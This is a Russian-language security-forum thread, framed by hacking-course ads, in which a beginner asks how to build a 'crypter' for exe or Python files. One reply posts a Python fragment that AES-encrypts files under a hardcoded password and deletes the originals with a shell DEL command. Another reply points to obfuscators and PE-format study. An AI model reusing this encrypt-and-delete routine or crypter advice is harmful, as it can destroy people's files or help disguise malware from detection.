• 🔥 Бесплатный курс от Академии Кодебай: «Анализ защищенности веб-приложений»

    🛡 Научитесь находить и использовать уязвимости веб-приложений.
    🧠 Изучите SQLi, XSS, CSRF, IDOR и другие типовые атаки на практике.
    🧪 Погрузитесь в реальные лаборатории и взломайте свой первый сайт!
    🚀 Подходит новичкам — никаких сложных предварительных знаний не требуется.

    Доступ открыт прямо сейчас Записаться бесплатно

Криптор на python

QWW

New member
14.10.2020
1
0
Как написать криптор exe файлов или кода py на python

Объясните для чайника
 
Я как раз недавно писал нечто подобное. Выбор велик и вам не обязательно так говнокодить, как это сделал я, но с кодом можешь ознакомиться, конечно.

Python:
import os
import pyAesCrypt # Основная штуковина для шифрования, жутко простой модуль

def crypt(): #Функция шифрации файлов

    global list
    global counter

    password = '8949821812876327517298129983712381538913871237126378'
    bufferSize = 512*1024
    pyAesCrypt.encryptFile(str(list[counter]), str(list[counter])+'.aes', password, bufferSize) #Лист здесь выбивает название файла, там я делал функцию перебора файлов в директории
    print('[Crypted]'+str(list[counter])+'.aes')
    os.system('DEL /Q ' + str(list[counter])) #Тут может быть ошибка, посокльку я не гребу, какие там команды в cmd на винде. Удаляет оригинальный файл
Там еще много чего можно дописать, но основная функция шифрования вот.
#UPD: В exe можешь его запихнуть с помощью компилятора pyinstaller, в гугле полно гайдов.
 
Последнее редактирование:
Для скриптовых языков (в том числе и для Python), это называется обфускатор. С сорцами есть, например, PyArmor.
Касательно крипта exe - либо учи формат PE и то, как работают загрузчики и основы ассемблера, либо сразу забей. "Для чайников" тут не прокатит.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab